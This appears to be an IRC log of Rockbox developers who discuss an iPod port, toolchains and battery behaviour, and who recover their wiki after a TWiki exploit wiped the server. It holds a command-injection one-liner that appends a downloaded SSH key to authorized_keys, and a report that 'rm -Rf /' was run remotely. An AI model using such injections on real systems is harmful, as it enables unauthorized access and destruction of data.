| 00:00:39 | coob | sort of. |
| 00:00:46 | coob | we don't touch the flash |
| 00:00:51 | coob | all ipodlinux stuff resides ont eh hd |
| 00:00:53 | coob | the* |
| 00:01:12 | coob | flash contains a disk mode for fw/usb, diagnostics etc |
| 00:01:30 | coob | useful for recovering from an accidental bricking :) |
| 00:01:46 | coob | we do our own sleep stuff now. |
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| 00:02:54 | linuxstb | Does the keyboard reset work when ipodlinux crashes? i.e. is it always possible to recover from a software crash? |
| 00:03:42 | coob | yes. |
| 00:03:52 | coob | it's a hardware reset. |
| 00:04:00 | linuxstb | That's reassuring. |
| 00:05:21 | linuxstb | Is the Apple firmware stored in the boot partition (which you append Linux to) encrypted? |
| 00:05:55 | linuxstb | (hope you don't mind all these questions) |
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| 00:06:24 | coob | the important bits are |
| 00:06:27 | coob | (code not data) |
| 00:06:39 | coob | (as far as I know, i'm not an re monkey) |
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| 00:11:10 | linuxstb | Last question - is "usb mode" supported? There seems to be code releated to that in podzilla. |
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| 00:11:41 | coob | that just detects a usb connection and asks if you want to reboot into diskmode |
| 00:12:25 | preglow | no hardware usb/ata bridge for ipod? |
| 00:12:25 | linuxstb | When you reboot, do you still have to press the correct key to enter disk mode? |
| 00:12:59 | coob | not sure, my ipod isn't working with ipl (no lcd!) yet, and i've been away for 2 months and that was added in those 2 months |
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| 00:15:22 | Bagder | I'll join the fun soon |
| 00:15:30 | coob | (my 4g mono bust while i was away...) |
| 00:15:43 | linuxstb | Do you know this website: http://www.podconsole.com ? |
| 00:16:17 | coob | nope. |
| 00:16:42 | coob | neat though |
| 00:16:58 | coob | the serial port isn't working on PP5020 pods yet though |
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| 00:17:23 | coob | it pumps out power but that's about it i think, probably just a minor change needed |
| 00:18:09 | linuxstb | Bagder: Got any particular ipod in mind? |
| 00:18:24 | Bagder | thought I'd get a plain greyscale 4g |
| 00:18:42 | coob | probably going cheap on ebay now, they're discontinued |
| 00:18:43 | linuxstb | At least your LCD will be easy to get going. |
| 00:18:57 | Bagder | they're available new for ~240 USD |
| 00:19:18 | preglow | are they, now |
| 00:19:21 | rasher | So, about that ipod nano port... I expect it on my desk by monday. |
| 00:19:30 | preglow | oooohhh |
| 00:19:32 | Bagder | :-) |
| 00:19:37 | preglow | i'd frigging love that |
| 00:19:42 | preglow | i want a smaller player |
| 00:19:51 | rasher | I'm demanding of you, just to clarify. |
| 00:19:58 | coob | cya |
| 00:20:07 | linuxstb | coob: Thanks. |
| 00:20:13 | coob | oh btw - you got any backups of your wiki? |
| 00:20:15 | rasher | Not talking about doing porting myself, oh no. |
| 00:20:23 | preglow | coob: yeah, and oldish one, i believe |
| 00:20:39 | rasher | coob: About a month old. Most edits since then have been found in google cache |
| 00:20:48 | Bagder | backup restore work planned to start tomorrow |
| 00:20:54 | coob | ouch :/ good luck tracking and executing the fuckers who did it! |
| 00:21:01 | preglow | wont happen |
| 00:21:05 | Bagder | we have his IP |
| 00:21:29 | preglow | i tried getting people nailed for stuff like this for a long time, nothing ever comes of it |
| 00:21:47 | preglow | people just dont care |
| 00:22:10 | coob | still, not nice, we've had to deal with mediawiki holes before, our admins are pretty paranoid about backups though |
| 00:22:21 | coob | anyway cya, good luck with the restore |
| 00:22:23 | preglow | it helps |
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| 00:24:09 | rasher | When was/is the Neuros talk by the way? |
| 00:24:25 | Bagder | tuesday |
| 00:24:37 | Bagder | that is, the new one |
| 00:24:50 | * | rasher is curious |
| 00:25:20 | Bagder | they did have one irc meeting to discuss a future player |
| 00:25:32 | rasher | Hrm, months ago? |
| 00:25:42 | Bagder | more like weeks |
| 00:25:52 | rasher | Ah. Not the one I "attended" then. |
| 00:26:39 | Bagder | http://open.neurosaudio.com/files/neuros.09-10.log |
| 00:26:48 | Bagder | sep 10th |
| 00:27:31 | Bagder | http://open.neurosaudio.com/node/115 |
| 00:29:57 | rasher | Nice trackback for that one |
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| 00:31:49 | preglow | i had a rockbox lockup today :// |
| 00:31:59 | preglow | i think i was a bit too aggressive in trying to switch to a previous track |
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| 00:34:14 | rasher | evening, LinusN |
| 00:34:20 | LinusN | evening |
| 00:37:50 | BoD[] | so .. noboy heard about that comodore e-vic 20 thing ? :) |
| 00:38:09 | preglow | hmm, how does one alter playback speed on the units that support it? |
| 00:38:42 | Bagder | BoD[]: that's commodore's music player, right? |
| 00:39:23 | BoD[] | yep :) |
| 00:39:31 | BoD[] | it's cheap! |
| 00:39:31 | Bagder | so what about it? |
| 00:39:38 | Bagder | start porting! |
| 00:39:45 | preglow | can't find the manual with the wiki gone :/ |
| 00:39:48 | BoD[] | well.. hum oh but hum |
| 00:39:57 | BoD[] | well i didn't buy one (yet?) |
| 00:39:59 | BoD[] | :) |
| 00:40:16 | BoD[] | i don't know if it's good |
| 00:40:21 | Bagder | :-) |
| 00:40:26 | BoD[] | i wondered if you guys knew |
| 00:40:40 | Bagder | there are so many different brand and models |
| 00:40:49 | * | Bagder runs off to bed |
| 00:40:55 | BoD[] | yeah, i know :/ |
| 00:41:05 | BoD[] | oh well :) goodnight then |
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| 00:59:06 | LinusN | time to sleep, nite all |
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| 07:21:27 | amiconn | Morning |
| 07:23:03 | LinusN | morning |
| 07:23:41 | amiconn | I would really like to know what we're doing wrong with mas pio |
| 07:24:06 | amiconn | No matter what I try, I'll get bitshifted recording sooner or later |
| 07:24:23 | amiconn | ...but the archos firmware was able to record for >10 hours without it |
| 07:24:29 | amiconn | (then it hung) |
| 07:25:08 | amiconn | It's not a voltage dip either. I tried both without disk poweroff and on the Ondio |
| 07:25:20 | LinusN | annoying |
| 07:25:35 | amiconn | Currently I'm running a test completely without peakmeter, result in the evening... |
| 07:27:05 | LinusN | goodie |
| 07:28:36 | amiconn | I'm attending a course this week, so I'll probably not be around during the day |
| 07:30:29 | LinusN | oki |
| 07:31:51 | * | LinusN wanders off to the lab |
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| 07:54:57 | LinusN | morning B4gder |
| 07:55:02 | B4gder | hey ho |
| 07:55:29 | B4gder | my inbox is very silent these days ;-) |
| 07:55:35 | LinusN | mine too :-) |
| 07:55:52 | LinusN | maybe we shouldn't fix the mailing lists |
| 07:56:02 | LinusN | kind of nice n quiet like this |
| 07:56:16 | B4gder | nice and quiet |
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| 08:37:15 | B4gder | the most annoying detail with working with gcc and arm: |
| 08:37:27 | B4gder | they removed the -mshort-load-bytes option in gcc3 |
| 08:41:06 | B4gder | (and replaced it with -mshort-load-bytes) |
| 08:41:16 | B4gder | -malignment-traps even |
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| 08:44:25 | linuxstb | Bagder: Why is that gcc change annoying? |
| 08:44:34 | linuxstb | (good morning) |
| 08:44:40 | B4gder | morning! |
| 08:44:53 | B4gder | because so many makefiles are written for the old gcc |
| 08:44:57 | B4gder | and I use a newer |
| 08:45:32 | B4gder | even the linux kernel setup uses the old way |
| 08:45:59 | linuxstb | I'm planning on using the latest 3.4.x for Rockbox. But it's annoying to have to have two conflicting toolchains installed. |
| 08:46:36 | B4gder | I use 3.4.2 for arm9 here at work |
| 08:48:13 | LinusN | linuxstb: conflicting? now? |
| 08:48:27 | LinusN | you have more coldfire targets? |
| 08:49:04 | linuxstb | I have two arm-elf-gcc versions installed - I currentlychange my PATH to switch between them. |
| 08:49:21 | LinusN | ah, rockbox for ipod... |
| 08:49:21 | linuxstb | I'm planning on starting an ipod port. |
| 08:49:52 | linuxstb | Yes. ipodlinux needs 2.95.3 |
| 08:50:26 | B4gder | you know what makes them require that old version? |
| 08:51:07 | linuxstb | I think it's just the version recommended by uclinux. I haven't investigated at all. |
| 08:51:15 | B4gder | ok |
| 08:51:57 | B4gder | they used to recommend that for arm kernel builds |
| 08:52:12 | linuxstb | The toolchain is dated March 2003. |
| 08:55:38 | B4gder | I doubt we need to be that conservative once rockbox starts crawling |
| 08:57:49 | linuxstb | I've installed 3.4.4, and am planning on using that for Rockbox. |
| 08:59:48 | * | HCl yawns |
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| 09:01:51 | HCl | rockbox for ipod? |
| 09:02:04 | * | HCl shivers at the thought of the userbase for ipod |
| 09:02:24 | linuxstb | HCl: We shouldn't tell anyone about it. |
| 09:02:42 | HCl | you realize that this channel is getting logged and read by many people |
| 09:02:49 | HCl | and knowing the misticriver people |
| 09:02:52 | linuxstb | Damn. |
| 09:02:56 | HCl | rumors will be on the forums there really soon. |
| 09:02:58 | linuxstb | :) |
| 09:03:37 | B4gder | shall I not mention by queak3 port in the h3x0 boot loader then? ;-P |
| 09:03:45 | B4gder | can't type anyway |
| 09:03:49 | B4gder | ggg |
| 09:04:04 | linuxstb | Seriously, the problem I've found with trying to find information about ipodlinux is the amount of "noise" from users, which is making it hard to find useful info posted by devs. |
| 09:04:14 | * | HCl tries to wake up |
| 09:04:29 | B4gder | I found it odd that they don't have any proper mailing list or dev forum |
| 09:04:35 | HCl | would an ipod port also make an iriver h10 port possible? |
| 09:04:43 | HCl | yea, i agree |
| 09:04:48 | linuxstb | It would certainly help a lot with a H10 port. |
| 09:05:08 | B4gder | I wonder if the h10 boots the same way |
| 09:05:30 | B4gder | I mean, how similar is the sw architecture between the pp players really |
| 09:05:52 | linuxstb | I suppose it depends how much of PP's SDK each manufacturer uses. |
| 09:06:01 | B4gder | probably |
| 09:06:13 | B4gder | but a guess is that they use as much as possible to not have to do it themselves |
| 09:06:37 | linuxstb | But Apple may be a special case and do things their own way. |
| 09:07:50 | B4gder | perhaps |
| 09:08:32 | * | B4gder starts a crosstool build |
| 09:09:00 | B4gder | I like the comment in the crosstool script: "Build the toolchain. Takes a couple hours and a couple gigabytes." |
| 09:15:01 | linuxstb | Anyone know if the H140 and ipod HDs are interchangeable? |
| 09:16:02 | B4gder | it would surprise me if they aren't |
| 09:18:59 | linuxstb | Any idea if there are many devs waiting to help with the H340 port? From an "apps/" point of view, it's almost identical to the color ipod. |
| 09:22:13 | LinusN | ok, we've started the tedious task of reading back the backups from tape... |
| 09:22:41 | * | linuxstb prays |
| 09:22:53 | LinusN | will take several hours |
| 09:22:59 | B4gder | we have probably lost the mailing list info |
| 09:23:10 | B4gder | and subscribers lists |
| 09:23:56 | linuxstb | The archives seem OK though? |
| 09:24:03 | LinusN | yes |
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| 09:42:03 | Dma-Sc | hi |
| 09:55:51 | stripwax_ | the ipod hdds have a customized firmware iirc.. although that doesn't necessarily mean they won't work in an H140. |
| 09:56:51 | Dma-Sc | i had the pleasure to find about the low battery behaviour of rockbox, scary indeed :O i don't know if it was the way i was using the player atm (testing wps modification and then massive access to hd due to intense browsing) but having the harddrive stopping due to power loss and retrying again and again like that is quite horrible, and i doubt about these harddrives models hability to handle nicely (mostly about the |
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| 09:57:47 | stripwax_ | Dma-Sc yeah it's painful... latest rockbox has a force-poweroff mode where if you hold down the stop button for about 8 seconds it will always turn off the player |
| 09:58:09 | linuxstb | stripwax_: Thanks. Guess I need to do some research before thinking about swapping them. |
| 09:58:11 | stripwax_ | Seems odd that the player doesn't turn itself off when it detects that the harddrive is continually spinning down because it doesn't have enough juice to run, though ... |
| 09:58:46 | Dma-Sc | but it's weird that so many people find the beta really usable with such a behaviour, most of people don't run out of battery? |
| 09:59:03 | linuxstb | stripwax_: I have a feeling Rockbox can't detect that. |
| 09:59:14 | stripwax_ | Dma-Sc - it's only bitten me twice so far. I've just learned to not let it run out of juice :-( |
| 09:59:19 | linuxstb | Which is the reason for the problem. |
| 09:59:29 | Zagor | linuxstb: well we could detect the symptoms. such as read failure for X seconds. |
| 09:59:55 | stripwax_ | linuxstb - are you sure? that would surprise me, there should be an ATA sense bit or similar I would have thought |
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| 10:00:03 | stripwax_ | -or yeah, as Zagor says |
| 10:00:16 | linuxstb | No, I'm not sure about anything. |
| 10:00:18 | markun | linuxstb: This guy connected a 3.5" HD to his ipod, so I think a H140's HD should also work: http://www.command-tab.com/index.php/ipod-super |
| 10:00:21 | stripwax_ | :-D |
| 10:00:33 | stripwax_ | gotta go.. |
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| 10:01:17 | linuxstb | markun: Yes, I remember reading that now. |
| 10:01:38 | Zagor | that 1.8" => 3.5" adapter doesn't look too fun to make... |
| 10:06:07 | Dma-Sc | i've read on the forum that the iriver firmware was stopping functioning really sooner than the battery could actualy support, maybe some option to handle it this way but still allowing tweaking would be possible? |
| 10:07:04 | Zagor | i don't like stopping before necessary. we should be able to detect the disk failure when it happens and then simply stop trying. |
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| 10:08:44 | linuxstb | Zagor: Would that mean that a call to the read() (or write) function could potentially have the side-effect of shutting the player down? |
| 10:09:50 | Zagor | i'd rather like setting a disk_stopped flag and return read failed. so the player lives but can't access the disk anymore. |
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| 10:22:34 | Dma-Sc | zagor : then the head is parked has it should even on power loss in these hardrives? one shouldn't be worried about that? |
| 10:23:21 | Zagor | no. drives heads have autoparked for the last 15 years at least :-) |
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| 10:24:37 | Zagor | I would imagine these 1.8" drives have various extra protection mechanisms too, since they are very much made to be thrown around |
| 10:25:31 | Dma-Sc | ah i see, i didn't knew it was also effective on power loss ok. :) though yeah, last time i was really worried about harddrive functioning, it was for my atari megafile harddrive ;) |
| 10:29:56 | Dma-Sc | graphic wps system is really cool btw, being able to pixel the interface is neat! :) |
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| 11:11:55 | B4gder | now, check your subscription status on the lists you want to be on |
| 11:12:15 | B4gder | you may not be subscribed |
| 11:13:22 | Mode | "#RockBox +o B4gder " by ChanServ (ChanServ@services.) |
| 11:13:33 | Topic | "Check your subscriptions of the rockbox mailing lists!" by B4gder (n=daniel@static-213-115-255-230.sme.bredbandsbolaget.se) |
| 11:14:36 | solex | B4gder: maybe you could send an email to the lists so that people know when they are already subscribed? |
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| 11:21:16 | tucoz | B4gder: when I tried to visit the subscribers list I got an error, but when I sent a new subscription I got an mail stating that I was already subscribed |
| 11:22:09 | tucoz | rockbox rooster authentication failed |
| 11:22:14 | solex | same here |
| 11:22:32 | tucoz | s/rooster/roster |
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| 11:29:02 | tucoz | afk |
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| 11:35:17 | preglow | how do i check my subscription? will we be seeing a million Subject: test mails now? ;) |
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| 11:43:49 | Moos | Hello folks |
| 11:43:57 | linuxstb | preglow: Unless Bagder has a better idea, my suggestion would simply be to try and subscribe again. |
| 11:49:53 | preglow | done |
| 11:51:55 | tucoz | Any suggestions what to use for lame settings? |
| 11:52:02 | ashridah | fabulous |
| 11:52:25 | ashridah | so were there any backups of the wiki? |
| 11:52:28 | preglow | yes |
| 11:52:59 | tucoz | Like, what would you use? I know a bit off topic, but I do not usually use mp3's. |
| 11:53:49 | Dma-Sc | tucoz : http://www.hydrogenaudio.org/forums/index.php?showtopic=28124 |
| 11:53:57 | tucoz | Dma-Sc: thanks! |
| 11:55:40 | linuxstb | ashridah: They are being restored today - some some recent changes need to be retrieved from google's cache - rasher is on the case. |
| 11:56:16 | ashridah | cool |
| 11:56:24 | * | ashridah pats google |
| 11:56:46 | ashridah | easily the successor to linus torvald's method of 'upload to ftp and let the word mirror it'. |
| 11:57:02 | ashridah | cool. looks like i'm still subscribed. |
| 11:57:09 | Zagor | tucoz: I use −−preset extreme these days. disk is cheap, reripping is no fun. |
| 11:57:27 | ashridah | do we know (and more importantly, have we fixed) the hole in the wiki? |
| 11:57:29 | | Nick B4gd3r is now known as B4gder (n=daniel@static-213-115-255-230.sme.bredbandsbolaget.se) |
| 11:57:40 | Zagor | ashridah: the wiki was removed, so yes it's fixed :-) |
| 11:57:47 | tucoz | Zagor: ok, I'll try that. |
| 11:57:58 | linuxstb | ashridah: the Twiki developers have released patches. |
| 11:58:10 | ashridah | cool |
| 11:58:11 | Zagor | but yes, the hole is known (discovered 4 days earlier) and fixed |
| 11:58:25 | * | ashridah notes the system administrator in him is currently itching to do forensics |
| 11:58:31 | tucoz | Seems I have a too old lame to use the settings in the hydrogen audio post. |
| 11:58:35 | ashridah | ah, that's no fun. |
| 11:58:41 | ashridah | i prefer the hunt for an unknown bug :( |
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| 12:00:19 | Zagor | the _really_ annoying part is that the debian version of twiki, which is installed on this server, has had the hole patched since early this spring. but we didn't run that version.... |
| 12:00:49 | tucoz | btw, were there lot's of other twikis going down the drain this weekend as well? |
| 12:01:17 | ashridah | tucoz: wouldn't be surprised if the guy in question just googled for a bunch of them |
| 12:01:28 | ashridah | probably left himself a trail a mile wide |
| 12:01:44 | linuxstb | The Twiki developers sent an email to all known public Twikis a few days before Rockbox was attacked. Seems that Rockbox isn't on that list though. |
| 12:01:45 | tucoz | hehe, probably. |
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| 12:02:31 | tucoz | linuxstb: oh, seems like Murphy decided to visit rockbox then. |
| 12:02:32 | ashridah | hrm, that reminds me. i need a couple of blank cds to burn copies of eclipse onto. hm. |
| 12:03:30 | tucoz | The irony of google. Google giveth and google taketh away. |
| 12:04:13 | tucoz | So we can both thank and curse google for this then :) |
| 12:06:24 | preglow | the plain stupidness of the bug still haunts me |
| 12:07:01 | Zagor | linuxstb: right, we weren't on it. you always knew we're sloppy types ;-) |
| 12:09:22 | tucoz | Good thing that you have backups. I feared a lot of the tech-docs were gone. |
| 12:09:48 | Zagor | not gone entirely, but the latest changes are gone. |
| 12:10:15 | Zagor | since Murphy was on duty, we had a backup problem the last few weeks before this hit |
| 12:10:29 | Zagor | so the backup is not fully up-to-date |
| 12:11:04 | tucoz | Yes I heard. But rasher were able to retrieve a lot of the updates. |
| 12:11:34 | tucoz | Google doesn't cache pdf's right? |
| 12:11:48 | rasher_ | It does the "show as html" thing |
| 12:11:54 | *** | Saving seen data "./dancer.seen" |
| 12:11:57 | | Nick rasher_ is now known as rasher (n=jonas@62.79.64.148.adsl.hs.tiscali.dk) |
| 12:12:20 | tucoz | rasher: I am impressed on your work with the search engine caches |
| 12:13:01 | rasher | It actually wasn't very hard, just took a while |
| 12:13:44 | tucoz | ;) I guess. |
| 12:13:59 | B4gder | I mailed the list now |
| 12:14:10 | B4gder | if you got no mail, you're not on it ;-) |
| 12:14:39 | preglow | i just got two... |
| 12:14:45 | B4gder | haha |
| 12:15:04 | B4gder | how annoying |
| 12:15:07 | preglow | quite |
| 12:17:04 | ashridah | B4gder: wouldn't the MTA logs contain every email address it's mailed? |
| 12:17:07 | * | LinusN is recovering deleted files from the server |
| 12:17:30 | B4gder | ashridah: good idea, me go check... |
| 12:17:48 | ashridah | which mta are you using anyway? |
| 12:17:52 | B4gder | sendmail |
| 12:17:53 | preglow | sendmail, methink |
| 12:17:55 | preglow | :/ |
| 12:18:12 | preglow | i took a vow never to touch that again some years back |
| 12:18:16 | preglow | i've been clen for five years now |
| 12:18:19 | preglow | clean, even |
| 12:18:31 | ashridah | ew |
| 12:18:34 | ashridah | EW |
| 12:18:39 | * | ashridah flees |
| 12:18:55 | * | ashridah goes fetal and hugs exim, shivering |
| 12:19:00 | | Join muesli- [0] (i=muesli_t@Bbc80.b.pppool.de) |
| 12:19:04 | B4gder | well, it isn't easy to see which mails that are related to what lists |
| 12:19:21 | muesli- | re |
| 12:19:23 | B4gder | we have like a dozen lists on the server |
| 12:19:30 | * | rasher got the mail |
| 12:19:37 | ashridah | hmm. aren't the mails uniquely id'ed? |
| 12:20:35 | ashridah | actually, kinda depends how the mailing list software works, i guess. |
| 12:21:20 | | Quit Dma-Sc ("Yummy, like ircing on a cake! [ http://www.bersirc.org/ - Open Source IRC ]") |
| 12:21:26 | B4gder | yes, eash has its own msgid |
| 12:21:29 | B4gder | each |
| 12:21:54 | B4gder | I can also check who posted mails recently |
| 12:22:35 | ashridah | B4gder: i was more considering that if the mta itself was doing the list->address mapping itself, it should have an incoming address and an outgoing address for each person |
| 12:22:54 | B4gder | the log isn't that "high level" |
| 12:23:01 | ashridah | but if the mailing list software was doign it, that might not be so easy, depending on how busy things were |
| 12:25:05 | B4gder | I'll import all posters since aug 1 |
| 12:25:41 | | Part tucoz ("Leaving") |
| 12:26:28 | B4gder | got us some 50 additional ones |
| 12:27:32 | ashridah | well, i'm off to watch tv. |
| 12:37:00 | muesli- | is somebody interested in a 2gb sd-card 150x from a-data |
| 12:59:32 | | Quit muesli- (Read error: 104 (Connection reset by peer)) |
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| 13:17:47 | | Quit edx (Read error: 110 (Connection timed out)) |
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| 13:33:36 | B4gder | why isn't sound enabled by default in the win32 sim? |
| 13:34:24 | B4gder | and why isn't 2.5 released yet? |
| 13:34:28 | B4gder | :-) |
| 13:34:43 | ashridah | because someone deleted your wiki |
| 13:34:50 | rasher | Questions.. questions.. |
| 13:36:43 | preglow | hmm |
| 13:36:49 | preglow | i believe it's up to amiconn and the recording stuff |
| 13:37:04 | preglow | but he'll be gone for a course most of this week... |
| 13:37:06 | rasher | Backup still restoring it seems.. chugga chugga chugga |
| 13:38:29 | Zagor | rasher: are you done google-scraping? i'm about to put back the backup |
| 13:38:55 | rasher | zagor: I think so.. the pages I don't have saved are only available in really old versions (pre-backup) |
| 13:39:01 | Zagor | ok |
| 13:39:22 | rasher | what's the date of the backup? |
| 13:39:56 | LinusN | you don't want to know... |
| 13:40:12 | preglow | haha |
| 13:40:25 | LinusN | 2005-06-11 |
| 13:40:26 | rasher | Oh but I do |
| 13:40:28 | rasher | ouch |
| 13:40:28 | preglow | sounds like we've got quite some fun ahead of us, then |
| 13:40:36 | rasher | not done scraping at all then |
| 13:42:37 | rasher | looks like I can't get a list of edits that go back further back than 2005-08 |
| 13:43:03 | rasher | ouch ouch ouch |
| 13:43:24 | rasher | 2005-08-06 |
| 13:44:36 | rasher | That's... pretty bad then |
| 13:44:54 | LinusN | sort of :-) |
| 13:45:16 | preglow | what do you mean by list of edits? does it matter if you can just get the latest version of the wiki pages? |
| 13:45:18 | B4gder | all work and no play makes bagder a dull boy |
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| 13:45:41 | rasher | preglow: well I don't want to get ALL pages.. I'd like to know which pages need attention |
| 13:45:48 | LinusN | the good thing is that i'm learning a lot about forensic analysis of hard drives :-) |
| 13:46:20 | preglow | so, anything retrievable? |
| 13:46:31 | LinusN | some |
| 13:46:45 | LinusN | i wish i had this idea earlier |
| 13:46:52 | * | ashridah loans LinusN an electron microscope for 60,000 dollars an hour |
| 13:47:55 | preglow | oh well |
| 13:47:58 | preglow | it could have been worse |
| 13:48:58 | preglow | having the latest releasenotes would probably have been good, i guess... |
| 13:49:32 | rasher | I have a text-copy of it |
| 13:49:38 | preglow | then all is good |
| 13:49:46 | * | linuxstb stares at his new ipod |
| 13:49:51 | B4gder | woo |
| 13:49:59 | B4gder | now, RIP IT APART! ;-) |
| 13:50:06 | preglow | and pictures! |
| 13:50:19 | linuxstb | I can't find any external screws. |
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| 13:50:37 | linuxstb | Not that I'm sure ripping it apart is the best idea in the world. |
| 13:50:45 | preglow | haha |
| 13:50:46 | preglow | now really |
| 13:51:02 | rasher | You have to pry it open I think.. Battery-changing howtos should help with that |
| 13:51:11 | ashridah | linuxstb: no screws? that shouldn't have to stop you... :) |
| 13:51:16 | ashridah | they make tall buildings for a reason |
| 13:51:16 | linuxstb | The proprietory dock connector is going to be annoying - no more using standard USB cables. |
| 13:51:18 | rasher | (my replacement battery came with two "tools" for opening ipods) |
| 13:51:28 | tucoz | rasher: http://66.249.93.104/search?q=cache:pikteV_uYfkJ:www.rockbox.org/twiki/bin/view/Main/ColdFire+site:rockbox.org+coldfire&hl=en |
| 13:51:39 | tucoz | couldn't find it on the rescue page |
| 13:51:52 | preglow | rescue page? |
| 13:52:12 | tucoz | rashers painstakingly made wikirescue |
| 13:52:25 | tucoz | rasher.dk/rockbox/WikiRescue/">http://rasher.dk/rockbox/WikiRescue/ |
| 13:52:28 | preglow | ahh |
| 13:53:01 | rasher | http://66.102.9.104/search?q=cache:yO-MPzKk6_EJ:www.rockbox.org/twiki/bin/view/Main/WebIndex+site:rockbox.org+morerecentchanges+%22Jul+2005%22&hl=en&client=firefox <−− list of when topics were edited |
| 13:53:17 | linuxstb | Looks easy: http://www.ipodbattery.com/ipod2k4install.htm |
| 13:53:20 | rasher | I'm compiling a list of edits dating back to 2005-06-11 now.. |
| 13:53:31 | * | preglow pats rashers back |
| 13:53:52 | * | rasher sighs |
| 13:53:55 | rasher | So many pages! |
| 13:54:09 | preglow | don't stress it too much, the 2.5 stuff is the most important |
| 13:54:23 | tucoz | hehe, this is bad. |
| 13:54:25 | preglow | the rest will probably get up to snuff as people see fit |
| 13:55:03 | tucoz | Mr Murphy did indeed visit rockbox recently |
| 13:55:11 | * | ashridah notes that he hopes the first order of business is to setup an offsite regular rsync backup of the wiki... |
| 13:55:16 | ashridah | or whatever is appropriate |
| 13:55:21 | preglow | rest assured i'll keelhaul whoever is responsible if i ever find him |
| 13:55:56 | tucoz | sounds good |
| 13:55:57 | B4gder | 85.140.9.74 |
| 13:56:01 | B4gder | :-) |
| 13:56:01 | tucoz | hehe |
| 13:56:38 | preglow | russian dialup.... |
| 13:56:43 | B4gder | yep |
| 13:56:43 | preglow | might as well just forget it, then |
| 13:56:56 | Zagor | ashridah: we've had a daily backup going for years, but it broke the last two weeks. |
| 13:57:12 | tucoz | just curious. How can you find out it's on dialup |
| 13:57:19 | Zagor | there's a number of bad coincidents that combine to make the situation much worse than it could have been |
| 13:57:22 | preglow | ;; ANSWER SECTION: |
| 13:57:22 | preglow | 74.9.140.85.in-addr.arpa. 86353 IN PTR ppp85-140-9-74.pppoe.mtu-net.ru. |
| 13:57:25 | preglow | pppoe <- |
| 13:57:35 | tucoz | oh, thanks |
| 13:57:44 | B4gder | but |
| 13:57:58 | ashridah | rofl. |
| 13:58:00 | ashridah | timing |
| 13:58:00 | ashridah | :) |
| 13:58:02 | B4gder | thanks to him erasing the twiki, he did close the remote exploitable hole |
| 13:58:10 | tucoz | hehe |
| 13:58:27 | tucoz | yep, he closed it with a bang allright |
| 13:58:29 | B4gder | thus minimizing the amount of rootkits installed |
| 13:58:39 | ashridah | B4gder: the question is, did he leave any nice presents like kernel-module rootkits or backdoors |
| 13:59:04 | B4gder | that's the question, yes, but I'm pretty sure he didn't manage to change user |
| 13:59:50 | * | ashridah suggests booting off a live-cd at first oppertunity and comparing the filesystem with what dpkg thinks should be installed (iirc, debian isn't it? substitute with rpm or whateveR) |
| 13:59:55 | LinusN | the guy who deleted the wiki didn't have shell access |
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| 14:00:11 | B4gder | well, its hard to say who did what |
| 14:00:36 | B4gder | the rm was made withut a shell, but there was alien processes running |
| 14:00:49 | LinusN | probably not the same person |
| 14:00:57 | B4gder | not likely, no |
| 14:01:02 | B4gder | since it shut down the door in |
| 14:01:17 | tucoz | But it is possible to run dpkg or wget or something else using that hole? |
| 14:01:20 | ashridah | do you happen to have copies of these alien processes? |
| 14:01:26 | ashridah | might be fun picking them apart in a sandbox |
| 14:01:31 | rasher | Ah, most of these edits dating from June and July were userpages |
| 14:01:39 | rasher | shouldn't be too much left once I weed those out |
| 14:01:43 | ashridah | tucoz: wget propbably, dpkg not usefully. |
| 14:01:44 | B4gder | not the processes themselves, but I kept the programs they installde |
| 14:01:44 | | Quit linuxstb ("Leaving") |
| 14:01:58 | LinusN | it seems to be a romanian root kit |
| 14:02:16 | B4gder | several people attempted to download that 'dc.txt' thing |
| 14:02:20 | B4gder | to the server |
| 14:02:21 | * | ashridah remembers having to break into one of his own boxes that was 50k's away after his co-administrator upgraded SSH to version 2, and turned off version 1 access (which my key was using) without telling me |
| 14:02:23 | LinusN | at least a root kit modded by a romanian hacker |
| 14:02:27 | tucoz | Allways learning something new here. |
| 14:02:39 | ashridah | was funny. the tool had an UNFILTERED setuid script running from a front page |
| 14:02:45 | ashridah | that anyone could access |
| 14:02:50 | B4gder | hehe |
| 14:02:53 | * | tucoz googles for rootkit |
| 14:03:05 | B4gder | I have one ;-) |
| 14:03:24 | * | tucoz found wikipedia's entry |
| 14:03:27 | B4gder | it was installed as "/tmp/var/... /hackyou" |
| 14:03:35 | tucoz | hehe |
| 14:03:39 | ashridah | i tossed in ; cd /tmp ; wget http://address.com/of/key.pub ; cat key.pub >> /home/ashridah/.ssh/authorized_keys and was done |
| 14:03:46 | ashridah | and then rang him up and abused him. twice. |
| 14:05:20 | * | rasher starts digging google again |
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| 14:05:28 | rasher | fortunately, with these old pages, nothing should be lost |
| 14:05:35 | ashridah | then i deleted the feature and rewrote it using a non-setuid method |
| 14:11:55 | *** | Saving seen data "./dancer.seen" |
| 14:13:19 | | Join Bger [0] (n=Bager@83.222.160.88) |
| 14:14:06 | Bger | hi... first of all... many wishes to the russian guy's mom..... |
| 14:14:26 | Bger | rasher: i'd like to help with wiki restoring |
| 14:14:59 | rasher | Bger: okay.. hm.. hang on |
| 14:15:04 | Bger | unfortunately i'll be able to do it only tomorrow and wednesday 8:30-17:30 EET |
| 14:15:10 | rasher | Ah |
| 14:15:16 | Bger | and maybe now ... :) |
| 14:15:58 | * | Bger doesn't get why the f*** someone will delete rockbox's wiki |
| 14:17:16 | preglow | assholes walk among us |
| 14:17:51 | Bger | wtf do you prove with that ... |
| 14:18:15 | rasher | rasher.dyndns.org/~rasher/olderedits.csv">http://rasher.dyndns.org/~rasher/olderedits.csv - that's a list of pages I don't have copies of, which have been changed since the backup was taken |
| 14:18:17 | HCl | script kiddies never make much sense :) |
| 14:18:53 | HCl | incidentally |
| 14:19:01 | HCl | does anyone have the standalone perl.exe |
| 14:19:03 | rasher | I'll start wading through them from the bottom |
| 14:19:06 | HCl | that used to be on the wiki |
| 14:19:17 | LinusN | Bger: the "attack" wasn't targetted towards the wiki itself |
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| 14:19:45 | LinusN | he simply executed "rm -Rf /" remotely, via the wiki exploit |
| 14:20:03 | LinusN | call it a "prank" if you want |
| 14:20:40 | HCl | script kiddies are so dumb |
| 14:20:54 | HCl | instead of subtilely hacking into the system without getting detected |
| 14:21:38 | Bger | LinusN : anything "unerasable" ? |
| 14:21:45 | LinusN | lots |
| 14:21:52 | Bger | that's good |
| 14:22:00 | | Quit muesli- (Client Quit) |
| 14:22:08 | Zagor | a massive job making sense of all the files though |
| 14:22:23 | LinusN | Zagor: you mean the undeleted files? |
| 14:22:27 | Zagor | yes |
| 14:22:49 | preglow | i'd love it if rm refused to take / as an argument |
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| 14:24:16 | Bger | rasher : so u'd like to start saving these pages from google's cache ? |
